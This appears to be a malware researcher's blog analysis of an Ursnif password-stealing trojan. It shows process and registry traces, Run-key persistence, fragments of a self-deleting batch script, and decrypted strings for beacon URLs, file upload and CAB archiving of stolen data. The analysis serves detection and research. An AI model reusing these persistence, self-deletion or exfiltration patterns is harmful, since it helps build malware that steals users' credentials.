Malware Name:

TrendMicro-HouseCall : TROJ\_GEN.F47V0202  
DrWeb : Trojan.KillProc.22029  
Symantec : WS.Reputation.1

↑Low detection. It looks we will see many infection happened..  
I wrote the quick analysis on this malware in VT comment, with additional information below:

As per I wrote in VT comment, this malware killed explorer.exe & started the new one, as per I reproduced below:

|              |      |       |          |          |                    |
|--------------|------|-------|----------|----------|--------------------|
| EXPLORER.EXE | 304  |       | 11,788 K | 19,296 K | Windows Explorer   |
| dune.exe     | 3412 | 2.99  | 954 K    | 2,992 K  | Erysypuebe sodorte |
| EXPLORER.EXE | 1584 | 31.34 | 5,996 K  | 3,544 K  | Windows Explorer   |

How this malware did it? and what for? below could be the answer:

First, it creates: 1958718(RANDOM).bat in the current directory. PoC traces:

```
"WriteFile","C:\Documents and Settings\%USER%\DESKTOP%\1958718.bat",  
"SUCCESS","Offset: 0, Length: 72"
```

And executed it with CMD command to re-run explorer & delete the malware files:

```
"Process Create","C:\WINDOWS\system32\cmd.exe","SUCCESS","PID: 2916,  
Command line:  
cmd /c ""C:\Documents and Settings\%USER%\DESKTOP%\1958718.bat""
```

With the batch command below:

```
(361): /sd %lu  
(363): %lu.bat "  
(364): attrib -r -s -h %1  
(365): del %1  
(366): if exist %1 goto %u  
(367): del %1  
(369): %s\explorer.exe"
```

This act is to hide the real malware activities and to delete the malware files from the PC after being executed.

What had happened during the explorer.exe being terminated was:

It created C:\WINDOWS\system32\fastinit.exe(RANDOM) (a self copy) & make it autostart in registry with setting key/values:

```
"CreateFile","C:\WINDOWS\system32\fastinit.exe","SUCCESS", OpenResult: Created"  
"RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Run\help1ist(RANDOM)","SUCCESS", "  
Type: REG_SZ, Length: 66, Data: C:\WINDOWS\system32\fastinit.exe"
```

NOTE: The malware choosed the name of file to be copied itself AFTER investigating what EXE files is actually exist in your PC and choosed one of them for the target to copy, PoC -->>[[HERE](#)].

Furthermore the randomization also used to pick autostart registry key name, Like in this case was `Windows\CurrentVersion\Run\helplist`, while in VT I detected `\Windows\CurrentVersion\Run\autocnfg`, while VT behavior test itself shows: `\Windows\CurrentVersion\Run\blasmgr`.

The rest of changes in registry is as per below:

```
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\helplist","SUCCESS","Type: REG_SZ, Length: 66, Data: C:\WINDOWS\system32\fastinit.exe"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal","SUCCESS","Type: REG_SZ, Length: 86, Data: C:\Documents and Settings\%USER%\My Documents"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache","SUCCESS","Type: REG_SZ, Length: 140, Data: C:\Documents and Settings\%USER%\Local Settings\Temporary Internet Files"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{11948642-10a9-11e2-95b6-806d6172696f}\BaseClass","SUCCESS","Type: REG_SZ, Length: 12, Data: Drive"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{903f3d4c-6ae4-11e2-91fb-0012f0e93e3e}\BaseClass","SUCCESS","Type: REG_SZ, Length: 12, Data: Drive"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents","SUCCESS","Type: REG_SZ, Length: 92, Data: C:\Documents and Settings\All Users\Documents"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop","SUCCESS","Type: REG_SZ, Length: 74, Data: C:\Documents and Settings\%USER%\%DESKTOP%"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1"
"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1"
```

Since the malware binary file was encrypted so we can't see much of it, if you see the binary in the section `.text` it will appear like this:

```
File: dune.exe; Section: .text
Encrypted part:
0x0004FF 0x0004FF >====
0x000515 0x000515 ====6?y>6?y
0x00052B 0x00052B 5=Hh2
0x000531 0x000531 2====a
0x00055B 0x00055B c>====

0x0006BD 0x0006BD n====g==5==
: : :
0x03646F 0x03646F R |=A3
0x03662A 0x03662A %H2%n?
0x036642 0x036642 A57 >
0x03668E 0x03668E >6=dg>
```

The complete list is here -->>[\[HERE\]](#).

but after being decrypted we start to understand how it works better.

The section `.rdata` will appear contains the some values.

We can see the list of calls is here -->>[\[HERE\]](#).

And the breakdown of the stealer++ activities as per below:

Some comment of malware coder with the mis-spelled words:

```
.rdata:100124E4 00000010 C Sart Load DLL\r\n
.rdata:100124F4 0000001D C Loading DLL: \"%s\" size: %d\r\n
.rdata:10012514 00000012 C Start Write DLL\r\n
.rdata:10012528 00000016 C DLL load status: %u\r\n
.rdata:10012658 0000001C C Started Soccks status {%u\n}
.rdata:10012674 00000014 C Get info status %u\n
.rdata:10012688 00000017 C Command received \"%s\"\\n
.rdata:100126A0 0000000C C MakeScreen\r\n
```

So it supposed to connect to internet...

```
.rdata:10012C64 00000008 C http://
.rdata:10012C6C 00000009 C https://
.rdata:10012A94 00000006 C Host:

```

We'll see usage of PHP form on the server side:

```
.rdata:100126E8 00000005 C form
.rdata:100126F0 0000004B C /data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
.rdata:10012758 0000007B C
version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%08X&wake=%u&prjct=%d&arch=%u&inf=0&os=%u.%u.%u&guid=%u
.rdata:100127D8 0000000D C /c%s.php?s=
:
.rdata:10012E10 00000042 C Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"
.rdata:10012E58 00000048 C Content-Disposition: form-data; name=\"upload_file\"; filename=\"%4u.%4u\"
.rdata:10012EA0 00000027 C -----%04x%04x%04x
.rdata:10012EC8 0000002F C Content-Type: multipart/form-data; boundary=%s
.rdata:10012EF8 0000000B C \\r\\n--%s--\\r\\n
.rdata:10012F04 00000027 C Content-Type: application/octet-stream
.rdata:10012F2C 00000011 C --%s\\r\\n%s\\r\\n%s\\r\\n\\r\\n
```

Setting target directory for grabbing sruff

```
.rdata:100128A4 0000001B C .set DiskDirectory1=\"%s\"\\r\\n
.rdata:100128C0 00000019 C .set CabinetName1=\"%s\"\\r\\n
.rdata:100128DC 00000007 C \"%s\"\\r\\n
.rdata:100128EC 0000001B C .set DestinationDir=\"%S\"\\r\\n
.rdata:1001290C 00000007 C \"%S\"\\r\\n
```

And making CAB archive of the target..

```
.rdata:10012914 00000014 C makecab.exe /F \"%s\"
```

I thank you @EP\_X0FF kernel mode for the very good help solving this mystery. It is a PWS variant alright, with the malware name of **Trojan Ursnif**. The complete list of the .RDATA section is here-->[[HERE](#)].

## Samples

---

\*) We share samples for research purpose & raising detection ratio of this infection. Infection sample set -->[[HERE](#)]. The malware complete recorded process can be download in archive here -->[[HERE](#)].

Thank's to @kafeine for the infection info.
